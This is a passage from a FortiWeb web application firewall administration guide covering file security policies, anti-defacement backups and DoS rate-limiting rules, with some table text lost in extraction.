9. To add file types to the file security rule, click Create New.
10. In the File Types pane, select the file type(s) to which you want to file security rule to apply, then click the right
arrow to include the file type(s) .
Microsoft Office Open XML file types such as .docx, xlsx, .pptx, and .vsdx are a
type of ZIP-compressed XML. If you specify restrictions for them, those
signatures will take priority. However, if you do not select a MSOOX restriction
but do have an XML or ZIP restriction, the XML and ZIP restrictions will still
apply, and the files will still be restricted.
11. Click OK.
Creating a file security policy
1. Go to Web Protection > Input Validation > File Security and select the File Security Policy tab.

permissions to items in the Web Protection Configuration category. For details, see Permissions on page 56.
Action Select which action FortiWeb will take when it detects a violation of a rule in
the policy:
message.

the client after the FortiWeb appliance detects that the client has violated a
rule in the policy.
The valid range is from 1 to 3,600 seconds. For details, see Monitoring
l Informative
l Low
l Medium
l High
Trigger Action Select which trigger action, if any, that FortiWeb will carry out when it logs
Trojan Detection Attackers may attempt to upload Trojan horse code (written in scripting
languages such as PHP and ASP) to the back-end web servers. The Trojan
then infects clients who access an infected web page.
Attack log messages contain the file name and signature ID (for example,
filename [eicar.com] virus name [EICAR_TEST_FILE]: Waf
anti-virus) when this feature detects a possible virus.
To configure which database of signatures to use, select either Regular Virus
Database on page 472, Extended Virus Database on page 472 or Use
FortiSandbox Malware Signature Database on page 472. For details, see
Choosing the virus signature database & decompression buffer on page 472.
Caution: Files greater than the scan buffer configured in Maximum Antivirus
Buffer Size on page 473 are too large for FortiWeb to decompress, and will
pass through without being scanned. This could allow malware to reach
your web servers. To block oversized files, you must configure Body
Length on page 537.
Caution: To remain effective as new malware emerges, it is vital that your
FortiWeb can connect to FortiGuard services to regularly update its engine
and signatures. Failure to do so will cause this feature to become less
effective over time, and may allow viruses to pass through your FortiWeb. For
instructions on how to verify connectivity and enable automatic updates, see
Antivirus Scan Enable to scan for viruses, malware, and greyware.

Attackers often modify the HTTP header so that Content-Type: indicates
an allowed file type even though the byte code contained in the body is
actually a virus. This scan ensures that the request actually contains the file
type specified by Content-Type: and is not infected.

Send files to FortiSandbox Enable to send matching files to FortiSandbox for evaluation.
Also specify the FortiSandbox settings for your FortiWeb. For details, see To
configure a FortiSandbox connection on page 598.
FortiSandbox evaluates the file and returns the results to FortiWeb.
If Antivirus Scan on page 602 is enabled and FortiWeb detects a virus, it does
not send the file to FortiSandbox.
Send Files to ICAP Server Enable so that FortiWeb sends files to ICAP server that matches the Limiting
file uploads on page 597.
Also specify the ICAP server settings for your FortiWeb. For details, see
Limiting file uploads on page 597.
ICAP server detects the file and returns the results to FortiWeb.
If Limiting file uploads on page 597 is enabled and FortiWeb detects a virus, it
does not send the file to ICAP server.
Hold Session While This option is available only when you enable Send files to FortiSandbox on
Scanning File page 603 or Send Files to ICAP Server on page 603.
Enable it, and FortiWeb waits for up to 30 minutes. If FortiWeb holds the
session for over 30 minutes while FortiSandbox or ICAP server scans the file
in the request, FortiWeb will forward the session without taking any other
actions.
Scan attachments in Email Enable to scan attachments in email using the OWA and/or ActiveSync
exchange protocols. If enabled, FortiWeb will perform Trojan detection, an
antivirus scan, and will send the attachments to FortiSandbox.
Note: To perform Trojan detection and antivirus scan, and send attachments
to FortiSandbox, you must enable Antivirus Scan on page 602, Trojan
Detection on page 602, and Send files to FortiSandbox on page 603 or Send
Files to ICAP Server on page 603, respectively, in the file security policy.
Protocol Available only when Scan attachments in Email on page 603 is enabled.
Select one or all of the following options:
l OWA—FortiWeb will scan attachments in Email sent and received via a
web browser login.
l ActiveSync—FortiWeb will scan attachments in Email sent and received
via a mobile phone login.
l MAPI—FortiWeb will scan attachments in Email sent and received via
the Messaging Application Programming Interface (MAPI), a new
transport protocol implemented in Microsoft Exchange Server 2013
Service Pack 1 (SP1).
4. Click OK.
5. To include a rule in the file security policy, click Create New.
6. From the File Security Rule drop-down list, select an existing file security rule that you want to use in the policy.

To view or change the information associated with the item, select the Detail icon. The File Security Rule
appears. Use your browser's back button to return.
7. Click OK.
8. Repeat steps 16 through 18 for each rule that you want to add to the file security policy.
9. To apply the file security policy, select it in an inline or Offline Protection profile. For details, see Configuring a
See also


Anti-defacement 605
Anti-defacement
The anti-defacement features monitors your websites for defacement attacks. If it detects a change, it can
automatically reverse the damage.
This feature can be especially useful if you are a hosting provider with many customers, such as favorite local
restaurants or community associations, who have basic web pages that should not be changed, but it is impractical to
manually monitor them on a continuous basis.
Anti-defacement backs up web pages only, not databases.

Content that will not be backed up includes all database-driven content that is
inserted into web pages using AJAX, PHP, JSP, ASP, or ColdFusion, such as stepin
boards, forums, blogs, and shopping carts: page content does not reside within the
page markup itself, but instead resides in a back-end database that is queried and
whose results are dynamically inserted into page content at runtime when the client
requests a page.
Separately from configuring anti-defacement, you should regularly back up MySQL,
Oracle, PostgreSQL, and other databases and defend them with controls such as
FortiDB (https://www.fortinet.com/products/fortidb).
The anti-defacement feature examines a website’s files for changes at specified time intervals. If it detects a change
that could indicate a defacement attack, the FortiWeb appliance can notify you and quickly react by automatically
restoring the website contents to the previous backup.
Before updating a website where you are using website anti-defacement, disable
both the Enable Monitor and Restore Changed Files Automatically options.
Otherwise, the FortiWeb appliance will perceive your changes as a defacement
attempt and undo them.
To configure anti-defacement
1. Go to Web Protection > Web Anti-Defacement and select the Anti Defacement tab.

permission to items in the Web Anti-Defacement Management category. For details, see Permissions on page
56.
Monitor Indicates whether or not anti-defacement is currently enabled for the website.
l Green icon—Anti-defacement is enabled.
l Flashing yellow-to-red icon—Anti-defacement is off because the
Enable Monitor option is disabled.

Anti-defacement 606
Connected Indicates the connection results of the FortiWeb appliance’s most recent
attempt to connect to the website’s server.
l Green check mark icon —The connection was successful.
l Red X mark icon—The FortiWeb appliance was unable to connect.
Verify the IP address/FQDN and login credentials of your anti-
defacement configuration. If these are valid, verify that connectivity has
not been interrupted by dislodged cables, routers, or firewalls.
Total Files Displays the total number of files on the website.
Total Backup Displays the total number of files that have been backed up onto the FortiWeb
appliance for recovery purposes. Those files that you choose not to monitor
will not be backed up.
Total Changed Displays the total number of files that have changed.
Click the number to see an itemized list of the changed files.

Alternatively, click an entry to view its contents, then click the Edit button.
Web Site Name Type a name for the website. This name is not used when monitoring the
website. It does not need to be the website’s FQDN or virtual host name.
Description Enter a comment up to 63 characters long. This field is optional.
Enable Monitor Enable to monitor the website’s files for changes, and to download backup
revisions that can be used to revert the website to its previous revision if the
FortiWeb appliance detects a change attempt.
Note: While you are intentionally modifying the website, you must turn off this
option and Restore Changed Files Automatically on page 608. Otherwise, the
FortiWeb appliance will detect your changes as a defacement attempt, and
undo them.
Hostname/IP Address Type the IP address or FQDN of the web server on which the website is
hosted.
This will be used when connecting by SSH or FTP to the website to monitor its
contents and download backup revisions, and therefore could be different
from the host name that may appear in the Host: field of HTTP headers.
For example, clients might connect to the public DNS name
www.example.com, while FortiWeb would connect using the web server’s
private network IP address, 192.168.1.1.
Connection Type Select which protocol (FTP, SSH , or Windows Share) to use when
connecting to the website in order to monitor its contents and download
website backups.
FTP/SSH Port Enter the TCP port number on which the website’s real server listens. The
standard port number for FTP is 21; the standard port number for SSH is 22.
This field appears only if Connection Type on page 606 is FTP or SSH .

Anti-defacement 607
Windows Share Name Type the name of the shared folder on the web server, such as Share. Do not
include the CIFS host name or workgroup name.
This field appears only if Connection Type on page 606 is Windows Share.
Folder of Web Site Type the path to the website’s folder, such as public_html or wwwroot,
on the real server. The path is relative to the initial location when logging in
with the user name that you specify in User Name on page 607.
This field appears only if Connection Type on page 606 is FTP or SSH .
File Filter Select an optional anti-defacement file filter.
The anti-defacement file filter is a list of folder (directory) or file names that
the anti-defacement feature does not monitor,or a list of items that anti-
defacement always monitors. For details, see Specifying files that anti-
defacement does not monitor on page 609.
User Name Enter the user name, such as FortiWeb, that the FortiWeb appliance will
use to log in to the website’s real server.
Password Enter the password for the user name you entered in User Name on page 607.
Alert Email Policy From the drop-down list, select existing email settings that contains one or
more recipient email addresses (MAIL TO:) to which the FortiWeb appliance
sends an email when it detects that the website has changed.
Monitor Interval for Root Enter the time interval in seconds between each monitoring connection from
Folder the FortiWeb appliance to the web server. During this connection, the
FortiWeb appliance examines Folder of Web Site on page 607 (but not its
subfolders) to see if any files have changed by comparing the files with the
latest backup.
If it detects any file changes, the FortiWeb appliance will download a new
backup revision. If you have enabled Restore Changed Files Automatically on
page 608, FortiWeb will revert the files to their previous version.
For details, see Reverting a defaced website on page 610.
Monitor Interval for Other Enter the time interval in seconds between each monitoring connection from
Folder the FortiWeb appliance to the web server. During this connection, the
FortiWeb appliance examines subfolders to see if any files have been
changed by comparing the files with the latest backup.
If any file change is detected, the FortiWeb appliance will download a new
backup revision. If you have enabled Restore Changed Files Automatically,
the FortiWeb appliance will revert the files to their previous version.
For details, see Reverting a defaced website on page 610.
Maximum Depth of Type how many folder levels deep to monitor for changes to the website’s
Monitored Folders files.
Files in subfolders deeper than this level are not backed up.
Skip Files Larger Than Type a file size limit in kilobytes (KB) to indicate which files will be included in
the website backup. Files exceeding this size will not be backed up. The
default file size limit is 10 240 KB.
Note: Backing up large files can impact performance.

Anti-defacement 608
Skip Files With These Type zero or more file extensions, such as iso, avi, to exclude from the
Extensions website backup. Separate each file extension with a comma.
Note: Backing up large files, such as video and audio, can impact
performance.
Restore Changed Files Enable to automatically restore the website to the previous revision number
Automatically when FortiWeb detects that the website has been changed.
Disable to do nothing. You can manually restore the website to a previous
revision when the FortiWeb appliance detects that the website has been
changed. For details, see Reverting a defaced website on page 610.
Alternatively, you can manually revert all or some of the individual file changes
that FortiWeb detects. For details, see Accepting or reverting changed files on
page 610
Note: While you are intentionally modifying the website, you must turn off this
option and Enable Monitor on page 606. Otherwise, the FortiWeb appliance
detects your changes as a defacement attempt, and undoes them.
Note: FortiWeb does not restore your back-end database, if any. If the
website has been defaced using SQL injection or similar attacks and its
database-driven content has been affected, even if this option is enabled, you
need to manually restore the database.
You cannot enable this setting when Acknowledge Changed File
Automatically on page 608 is selected.
Acknowledge Changed File Enable to automatically accept changes to the website when FortiWeb
Automatically detects that the website has been changed.
You cannot enable this setting when Restore Changed Files Automatically on
page 608 is selected.
Alternatively, you can manually acknowledge all or some of the changes that
FortiWeb detects. For details, see Accepting or reverting changed files on
page 610
4. Click Test Connection to test the connection between the FortiWeb appliance and the web server.
5. Click OK.
During the next interval, FortiWeb should connect to download its first backup. You should notice that Total Files
and Total Files will increase, and Connected should become and remain a green check mark.
If not, first verify the login and IP address that you provided. Also, on the web server, check the file system
permissions for the account that FortiWeb is using to connect. FortiWeb must be able to both read and, if it will be
restoring files, write to the folder and files. On Microsoft Windows, you may need to examine your security policy
configuration to make sure that the account is authenticating as itself, and is not degrading to the guest account.
Verify that a route exists between the FortiWeb and the web server, and that connectivity is reliable, with no packet
loss. Also verify that any routers or firewalls between them, including Windows Firewall, are not blocking SSH, FTP,
or CIFS connections. Other troubleshooting varies by the protocol that FortiWeb is using to connect, such as
checking for a compatible protocol version and cipher suite.
See also
l Reverting a defaced website on page 610

l Anti-defacement on page 605

Anti-defacement 609
Specifying files that anti-defacement does not monitor
You can create a list of folder (directory) or file names that the anti-defacement feature does not monitor. You can also
create a list of items that anti-defacement always monitors.
FortiWeb applies the filters in these lists to any website you configure using Web Protection > Web Anti
Defacement > Anti Defacement.
To configure anti-defacement file filtering
1. Go to Web Protection > Web Anti Defacement and select the Anti Defacement File Filter tab.
Name Type a name for the filter.
Filter Type Specify the type of list to create:

l Black File List—A list of the names of folders and files that the anti-
defacement feature does not monitor. FortiWeb monitors all other folders
and files.
l White File List—A list of the names of folders and files that the anti-
defacement feature monitors. FortiWeb does not monitor any other
folders or files.
FortiWeb still applies criteria in the anti-defacement configuration to these
items. For example, if the file size exceeds the maximum, FortiWeb does not
monitor it.
4. Click OK.
File Type Specify the type of item to add to the list:

l Directory—A folder or directory path.
l Standard File —A file.
File Name Enter the name of the folder or file to add to the list.
Ensure that the name exactly matches the folder or file that you want to
specify. For Directory items, include the /(forward slash).
For example, if File Type on page 609 is Directory and you want to add a
folder abcthat is under the root folder of a website, enter /abc.
You can restrict the filter condition to a specific file by including file path
information in File Name. For example, a website contains many files with
the name 123.txt. To specify the instance located in the abc folder only,
enter /abc/123.txt.
6. Repeat the filter member creation steps until the list contains all the required folder and file names.

Anti-defacement 610
Accepting or reverting changed files
The anti-defacement feature maintains a list of files that have changed for each website it monitors. You can use this
list to review, accept, and revert the changes.
To restore all the website files, see Reverting a defaced website on page 610.
Alternatively, to automatically acknowledge all changes to files (for example, if you are updating the website), use the
Acknowledge Changed File Automatically on page 608 setting in the website's anti-defacement configuration.
To accept or revert changed files
1. Go to Web Protection > Web Anti-Defacement and select the Anti Defacement tab. For the appropriate
website, click the value in the Total Changed column.
l Click Acknowledge All to accept all the file changes in the list.
FortiWeb clears the list.
l Select an item in the list, and then click Acknowledge to accept the individual change.
FortiWeb clears the item from the list.
l Select an item in the list, and then click the Revert icon. In the list of previous versions, click the Revert icon
for the version to revert to. FortiWeb adds this revert action as a new version in the list.
Reverting a defaced website
When you configure a FortiWeb appliance to protect a website via anti-defacement, FortiWeb periodically downloads a
backup copy of that website’s files automatically. It creates a new backup revision in the following cases:
l When the FortiWeb appliance initiates monitoring for the first time, the FortiWeb appliance downloads a backup
copy of the website’s files and store it as the first revision.
l If the FortiWeb appliance could not successfully connect during a monitor interval, it creates a new revision the next
time that it re-establishes the connection.
Backup copies omit files that exceed the file size limit or match the file extensions
that you have configured the FortiWeb appliance to omit. See Anti-defacement on
page 605.
If you do not enable Restore Changed Files Automatically on page 608, you can still manually revert the defaced
website after a defacement attack to any known good backup revision that the FortiWeb appliance has downloaded.
To revert a website to a backup revision
1. Go to Web Protection > Web Anti-Defacement and select the Anti Defacement tab.

2. Select the website you want to revert and click the Revert icon.

Anti-defacement 611
A dialog appears which lists previous site backup copies.

3. In the row corresponding to the copy that you want to restore, click the Revert to this time icon.
The FortiWeb appliance connects to the web server and replaces defaced files from the revision you selected.
4. Click OK.

Rate limiting 612
Rate limiting
In addition to controlling which URLs a client can access, you can control how often. This can be especially important to
preventing scouting and brute force password attacks.
If a client is not really interested in actually receiving a response and/or attempting

to authenticate or connecting, but is simply attempting to consume resources in
order to deprive legitimate clients, consider more than simple HTTP-layer rate
limiting. For details, seeDoS prevention on page 612.
If you need to restrict access as well as rate limiting, you can do both at the same time. For details, see Combination
access control & rate limiting on page 437.
DoS prevention
You can protect your web assets from a wide variety of denial of service (DoS) attacks.
Some DoS protection features are not supported in all modes of operation. For
details, see Supported features in each operation mode on page 71.
DoS features are organized by which open system interconnections (OSI) model layer they use primarily to apply the
rate limit:
l Application layer (HTTP or HTTPS)
l Network and transport layer (TCP/IP)
Appropriate DoS rate limits vary by the web application you are protecting. For details, see Reducing false positives on
page 802.
Configuring application-layer DoS protection
The DoS Protection > Application submenu enables you to configure DoS protection at the network application
layer.
For some DoS protection features, the FortiWeb appliance uses client management to track requests.
1. When a FortiWeb appliance receives the first request from any client, it adds a session cookie to the response from
the web server in order to track the session. The client will include the cookie in subsequent requests.
2. If a client sends another request before the session timeout, FortiWeb examines the session cookie in the request.
l If the cookie does not exist or its value has changed, the FortiWeb appliance drops the request.
l If the same cookie exists, the request is treated as part of the same session. FortiWeb increments its count of
connections and/or requests from the client. If the rate exceeds the limit, FortiWeb drops the extra connection
or request.

Rate limiting 613
See also
l Limiting the total HTTP request rate from an IP on page 613

l Limiting TCP connections per IP address by session cookie on page 616
l Preventing an HTTP request flood on page 619
Limiting the total HTTP request rate from an IP
You can limit the number of HTTP requests per second, per source IP address.
This feature is similar to DoS Protection > Application > HTTP Flood Prevention. However, this feature can
prevent HTTP request floods that involve many different URLs. It also can detect source IP addresses that are shared
by multiple clients, and intelligently enforce a separate request rate limit for those IPs, even if those clients do not
support cookies.
FortiWeb appliances track the rate of requests from each source IP address, regardless of their HTTP method. If the
rate of requests exceeds the limit, FortiWeb performs the Action.
To configure an HTTP request rate limit
1. Before you configure the rate limit, enable detection of when source IP addresses are shared by multiple clients.
For details, see Advanced settings on page 677.
If you do not enable detection of shared IP addresses (Shared IP) , FortiWeb

ignores the second threshold, HTTP Request Limit/sec (Shared IP) on page 614.
2. Go to DoS Protection > Application > HTTP Access Limit.

HTTP Request Limit/sec Type a rate limit for the maximum number of HTTP requests per second from
(Standalone IP) each source IP address that is a single HTTP client.
For example, if loading a web page involves:
l 1 HTML file request
l 1 external JavaScript file request
l 3 image requests
the rate limit should be at least 5, but could be some multiple such as 10 or 15
in order to allow 2 or 3 page loads per second from each client.

Rate limiting 614
For best results, this should be at least as many requests as required to

normally load the URL. When a client accesses a web application, it normally
requests many files, such as images and style sheets, used by the web page
itself. If you set limits too low, it can cause false positive attack detections and
block requests. In extreme cases, this could prevent a single web page from
fully loading all of its components — images, CSS, and other external files.
The valid range is from 0 to 65,536. The default value is 0. Fortinet suggests
an initial value of 500. For details, see Reducing false positives on page 802.
HTTP Request Limit/sec Type a rate limit for the maximum number of HTTP requests per second from
(Shared IP) each source IP address that is shared by multiple HTTP clients.
Typically, this limit should be greater than HTTP Request Limit/sec
(Standalone IP) on page 613.
For example, let’s say a branch office with 10 employees is accessing your
website. Some solitary telecommuters also access your website. Each
telecommuter has her own IP address. However, the 10 people at the branch
office are behind a firewall with NAT, and from the perspective of the Internet
appear to have a single source IP address. If the appropriate rate limit for
solitary telecommuters is 20 requests/sec., a fair rate limit for the branch
office might be 200 requests/sec.:
20 requests/sec/person x 10 persons = 200 requests/sec.
The valid range is from 0 to 65,536. The default value is 0. Fortinet suggests
an initial value of 1000. For details, see Reducing false positives on page 802.
Note: If detection of shared IP addresses is disabled, this setting will be
ignored and all source IP addresses will be limited by HTTP Request
Limit/sec (Standalone IP) on page 613 instead. For details, see Advanced
it's a bot.
For Browser
within the Max Attempt Times or doesn't fulfill the request within the

Rate limiting 615

CAPTCHA request.
message.
Tip: For improved performance during a confirmed DDoS, select this
option. Attackers participating in the DoS will then be blocked at the IP
layer, conserving FortiWeb resources that would otherwise be consumed
by scanning each attacker’s request at the HTTP layer, compounding the
effects of the DDoS.
enforce actions for this feature. For details, see Sessions & FortiWeb HA on
page 46.

Rate limiting 616
rule.
The valid range is from 1 to 10,000 (2.78 hours). For details, see Monitoring
l Informative
l Low
l Medium
l High
5. Click OK.
Group the rule in a DoS protection policy that is used by a protection profile. For details, see Grouping DoS
protection rules on page 624.
Enable the Client Management option in the protection profile.
Attack log messages contain DoS Attack: HTTP Access Limit Violation when this feature detects a
multi-URL HTTP flood. For details, see Log rate limits on page 700.
Example: HTTP request rate limit per IP
If you set 10 per second for both the shared and standalone limit, here are two scenarios:
l A client opens 5 TCP connections, where each connection has a different source port. Each TCP connection
creates 3 HTTP GET requests. The FortiWeb appliance blocks the extra connections as there are 15 HTTP
requests overall, which exceeds the limit.
l A client opens a single TCP connection with 12 HTTP GET requests. The Period Block action is set. Once the
count exceeds 10, the FortiWeb appliance blocks all traffic from the client for the specified block period.
Limiting TCP connections per IP address by session cookie
You can limit the number of TCP connections per HTTP session. This can prevent TCP connection floods from clients
operating behind a shared IP with innocent clients.
Excessive numbers of TCP connections per session can occur if a web application or client is malfunctioning, or if an
attacker is attempting to waste socket resources to produce a DoS.
This feature is similar to DoS Protection > Network > TCP Flood Prevention. However, this feature counts TCP
connections per session cookie, while TCP Flood Prevention counts only TCP connections per IP address. Because it
uses session cookies at the application layer instead of only TCP/IP connections at the network layer, this feature can
differentiate multiple clients that may be behind the same source IP address, such as when the source IP address hides
a subnet that uses network address translation (NAT). However, in order to work, the client must support cookies.

Rate limiting 617
If the count exceeds the limit, FortiWeb executes the Action.
To configure a TCP connection limit per session
1. Go to DoS Protection > Application > Malicious IPs.

TCP Connection Number Type the maximum number of TCP connections allowed with a single HTTP
Limit client.
The valid range is from 1 to 1,024. The default is 1. Fortinet suggests an initial
value of 100. For details, see Reducing false positives on page 802.
message.

Rate limiting 618
page 46.
rule.
l Informative
l Low
l Medium
l High
4. Click OK.
5. Group the rule in a DoS protection policy that is used by a protection profile. For details, see Grouping DoS
6. Enable the Client Management option in the protection profile.
Attack log messages contain DoS Attack: Malicious IPs Violation when this feature detects a TCP
flood with the same HTTP session cookie. For details, see Log rate limits on page 700.
Example: TCP connection per session limit
If you set 10 as the connection limit, here are two scenarios:

l A client opens 5 TCP connections. Each connection has a different source port. Because each connection has a
valid session cookie, and does not exceed the connection limit, the FortiWeb appliance allows them.
l A client opens 11 TCP connections. The FortiWeb appliance blocks the last connection because it exceeds the limit
of 10.
See also
l Limiting TCP connections per IP address on page 622

Rate limiting 619
Preventing an HTTP request flood
You can limit the number of HTTP requests per second, per session, per URL. This effectively prevents HTTP request
floods that utilize a single URL.
Because this feature uses session cookies at the application layer instead of only TCP/IP connections at the network
layer, this feature can differentiate multiple clients that may be behind the same source IP address, such as when the
source IP address hides a subnet that uses network address translation (NAT). However, the client must support
cookies.
This feature is similar to DoS Protection > Application > HTTP Access Limit. However, rather than preventing
many requests to any URL by the same client, it prevents many requests to the same URL by the same client.
If the rate exceeds the limit, the FortiWeb appliance executes the Action.
To configure HTTP flood prevention
1. Go to DoS Protection > Application > HTTP Flood Prevention.

HTTP Request Limit/sec Type the maximum rate of requests per second allowed from a single HTTP
client.
The valid range is from 0 to 4,096. The default is 0. Fortinet suggests an initial
value of 500. For details, see Reducing false positives on page 802.
it's a bot.
For Browser
within the DoS prevention or doesn't fulfill the request within the

Rate limiting 620

CAPTCHA request.
message.

Rate limiting 621
page 46.
rule.
The valid range is from 1 to 10,000 (2.78 hours). For details, see Monitoring
l Informative
l Low
l Medium
l High
4. Click OK.
5. Group the rule in a DoS protection policy. For details, see Grouping DoS protection rules on page 624.
6. Select the DoS protection policy in a protection profile. For details, see Configuring a protection profile for inline
topologies on page 223.
7. Enable the Client Management option in the protection profile.
Attack log messages contain DoS Attack: HTTP Flood Prevention Violation when this feature detects
an HTTP flood.
Example: HTTP request flood prevention
Assuming you set 10 as the limit, here are three scenarios:

l A client opens a single TCP connection with 8 HTTP GET requests. As long as they all have the session cookie set
by the FortiWeb appliance, it allows the requests.
l A client opens a single TCP connection with 8 HTTP GET requests. One request does not have the session cookie.
The FortiWeb appliance drops the TCP connection (dropping all sessions).
l Two clients open 2 TCP connections. Each has 6 HTTP requests with the same session cookie. The FortiWeb
appliance blocks the last two requests because there are 12, which exceeds the 10 limit.
Configuring network-layer DoS protection
You configure DoS protection at the network layer using the DoS Protection > Network submenu and server policies.

Rate limiting 622
Limiting TCP connections per IP address
You can limit the number of fully-formed TCP connections per source IP address. This effectively prevents TCP flood-
style denial-of-service (DoS) attacks.
TCP flood attacks exploit the fact that servers must consume memory to maintain the state of the open connection until
either the timeout, or the client or server closes the connection. This consumes some memory even if the client is not
currently sending any HTTP requests.
Normally, a legitimate client will form a single TCP connection, through which they may make several HTTP requests.
As a result, each client consumes a negligible amount of memory to track the state of the TCP connection. However, an
attacker will open many connections with perhaps zero or one request each, until the server is exhausted and has no
memory left to track the TCP states of new connections with legitimate clients.
This feature is similar to DoS Protection > Application > Malicious IPs. However, this feature counts TCP
connections per IP, while Malicious IPs counts TCP connections per session cookie.
It is also similar to the Syn Cookie setting in a server policy. However, this feature counts fully-formed TCP
connections, while Syn Cookie counts partially-formed TCP connections.
FortiWeb counts the TCP connections. If a source IP address exceeds the limit, FortiWeb executes the Action for that
client.
TCP Flood Prevention applies to all the traffic coming into FortiWeb. Even if the IP address of
a packet is listed as Trust IP in IP Protection or in Global White List, FortiWeb will take
action if it violates the TCP Flood Prevention rule.
While HTTP Flood Prevention, Malicious IPs, and HTTP Access Limit act differently with TCP
Flood Prevention. They allow the Trust IP in IP Protection or in Global White List to go
through even if there is a violation.
To configure a TCP connection flood limit
1. Go to DoS Protection > Network > TCP Flood Prevention.

TCP Connection Number Type the maximum number of TCP connections allowed with a single source
Limit IP address.
The valid range is from 0 to 65,535. The default is 0.
message.

Rate limiting 623
rule.
l Informative
l Low
l Medium
l High
4. Click OK.
5. Group the rule in a DoS protection policy that is used by a protection profile. For details, see Grouping DoS
Attack log messages contain DoS Attack: TCP Flood Prevention Violation when this feature
detects a TCP connection flood. For details, see Log rate limits on page 700.
Example: TCP flood prevention
Assume you set 10 as the limit. A client opens 15 TCP connections. Each connection has a different source port. The
FortiWeb appliance counts all connections as part of the same source IP and blocks the connections because they
exceed the limit.

Rate limiting 624
See also
l Limiting TCP connections per IP address by session cookie

l Preventing a TCP SYN flood
Preventing a TCP SYN flood
You can configure protection from TCP SYN flood-style denial of service (DoS) attacks.
TCP SYN floods attempt to exploit the state mechanism of TCP. At the point where a client has only sent a SYN signal,
a connection has been initiated and therefore consumes server memory to remember the state of the half-open
connection. However, because the connection is not yet fully formed, packets are not required to contain any actual
application layer payload such as HTTP. Therefore, application-layer scans cannot block the connection. Scans that
only count fully-formed socket connections (where the client’s SYN has been replied to by a SYN ACK from the server,
and the client has confirmed connection establishment with an ACK) cannot block it either.
Normally, a legitimate client quickly completes the connection build-up and tear-down. However, an attacker initiates
many connections without completing them until the server is exhausted and has no memory left to track the TCP
connection state for legitimate clients.
To prevent this, FortiWeb can use a “SYN cookie”—a small piece of memory that keeps a timeout for half-open
connections. This mechanism prevents half-open connections from accumulating to the point of socket exhaustion.
This feature is similar to DoS Protection > Network > TCP Flood Prevention. However, this feature counts
partially-formed TCP connections, while TCP Flood Prevention counts fully-formed TCP connections.
TCP SYN flood protection is available only when the operating mode is Reverse Proxy or True Transparent Proxy. To
enable the feature, you configure the Syn Cookie on page 252 and Half Open Threshold on page 252 options in the
appropriate server policy.
Grouping DoS protection rules
Before you can apply them in a server policy via a protection profile, you must first group DoS prevention rules. (You
enable TCP SYN flood protection in the appropriate server policy.)
To configure a DoS protection policy
1. Before you can configure a DoS protection policy, you must first configure the rules that you want to include:
l HTTP request flood prevention (see Preventing an HTTP request flood on page 619)
l HTTP request rate limit (see Limiting the total HTTP request rate from an IP on page 613)
l TCP connections per session (see Limiting TCP connections per IP address by session cookie on page 616)
l TCP connection flood prevention (see Limiting TCP connections per IP address on page 622)
2. Go to DoS Protection > DoS Protection Policy.
63 characters.
5. If you want to apply features that use session cookies, enable HTTP Session Based Prevention.

Rate limiting 625
l From HTTP Flood Prevention, select an existing rule that sets the maximum number of HTTP requests per
second to a specific URL. For details, see Preventing an HTTP request flood on page 619.
l From Malicious IPs, select an existing rule that limits TCP connections from the same client. For details, see
Limiting TCP connections per IP address by session cookie on page 616.
6. If you want to restrict traffic based upon request or connection counts, enable HTTP DoS Prevention.
l From HTTP Access Limit, select a rule, if any, that you want to include. For details, see Limiting the total
HTTP request rate from an IP on page 613.
l From TCP Flood Prevention, select a rule, if any, that you want to include. For details, see Limiting TCP
connections per IP address on page 622.
7. If you want to prevent attacks of fragmented packets, enable Layer3 Fragment Protection. You can also
configure the fragmented packet details in FortiWeb CLI Reference.
8. Click OK.
9. To apply the policy, select the DoS protection policy in an inline protection profile. For details, see Configuring a
10. If you have configured DoS protection features that use session cookies, also enable the Client Management
option in the protection profile.
See also

l Bot Analysis on page 310
Preventing slow and low attacks
A low and slow attack is a type of DoS attack that sends a small stream of traffic at a very slow rate. It targets
application and server resources and is difficult to distinguish from normal traffic. The most popular attack tools include
Slowloris and R.U.D.Y. Slowloris tries to keep many connections to the target web server open and hold them open as
long as possible. It accomplishes this by opening connections to the target web server and sending a partial request.
Periodically, it will send subsequent HTTP headers, adding to—but never completing—the request. Affected servers will
keep these connections open, filling their maximum concurrent connection pool, eventually denying additional
connection attempts from clients.
FortiWeb can detect slow and low attacks and generate attack logs for you to trace the source.
Configuring protection rules for slow and low attacks
You can configure FortiWeb to prevent the long-lasting HTTP transactions.

1. Go to Bot Mitigation > Threshold Based Detection.
3. For Name, enter a name for the threshold based detection rule that can be referenced in bot mitigation policy.

Rate limiting 626
4. Configure the slow attack detection settings:
Slow Attack Detection
HTTP Specify a timeout value, in seconds, for the HTTP transaction.

Transaction
Timeout
Packet Interval Specify the timeout value, in seconds, for interval between packets arriving from either the
Timeout client or server (request or response packets).
Occurrence Define the frequency when HTTP response type is HTML, plain, XML, SOAP, and JSON.
Within Enter the length of time, in seconds, which FortiWeb detects slow attack events.
(Seconds)
l Alert—Accept the connection and generate an alert email and/or log message.
l Alert & Deny—Block the request (or reset the connection) and generate an alert and/or
log message.
l Period Block—Block subsequent requests from the client for a number of seconds.
Also configure Period Block.
Period Block Enter the number of seconds that you want to block subsequent requests from a client after
FortiWeb detects that the client has violated the policy. The valid range is 1–3600 seconds (1
hour)
Severity When policy violations are recorded in the attack log, each log message contains a Severity
Level (severity_level) field. Select which severity level FortiWeb will use when it logs a
violation of the policy:
l Informative
l Low
l Medium
l High
Trigger Policy Select the trigger, if any, that FortiWeb will use when it logs and/or sends an alert email
5. about a violation of the policy. For details, see Viewing log messages on page 718.
6. Click OK.
See information on the threshold based detection rule, see Configuring threshold based detection on page 745.
In addition to the configurations in the threshold based detection rule, the following two commands in server-
policy policy are also useful to prevent slow and low attacks that periodically add HTTP headers to a request.
edit "<policy_name>"
set http-header-timeout <seconds_int>
set tcp-recv-timeout <seconds_int>

Rate limiting 627
next
end
Variable Description Default
http-header-timeout <seconds_int> The amount of time (in seconds) 0

that FortiWeb will wait for the
whole HTTP request header after
a client sets up a TCP connection.
FortiWeb closes the connection if
the HTTP request is timeout.
The valid range is 0–1200. A
value of 0 means that there is no
timeout.
tcp-recv-timeout <seconds_int> The amount of time (in seconds) 0

that FortiWeb will wait for a client
to send a request after the client
sets up a TCP connection.
FortiWeb closes the connection if
the TCP request is timeout.
The valid range is 0–300. A value
of 0 means that there is no
timeout.

Rewriting & redirecting
Rewriting or redirecting HTTP requests and responses is popular, and can be done for many reasons.
Similar to error message cloaking, URL rewriting can prevent the disclosure of underlying technology or website
structures to HTTP clients.
For example, when visiting a blog web page, its URL might be:
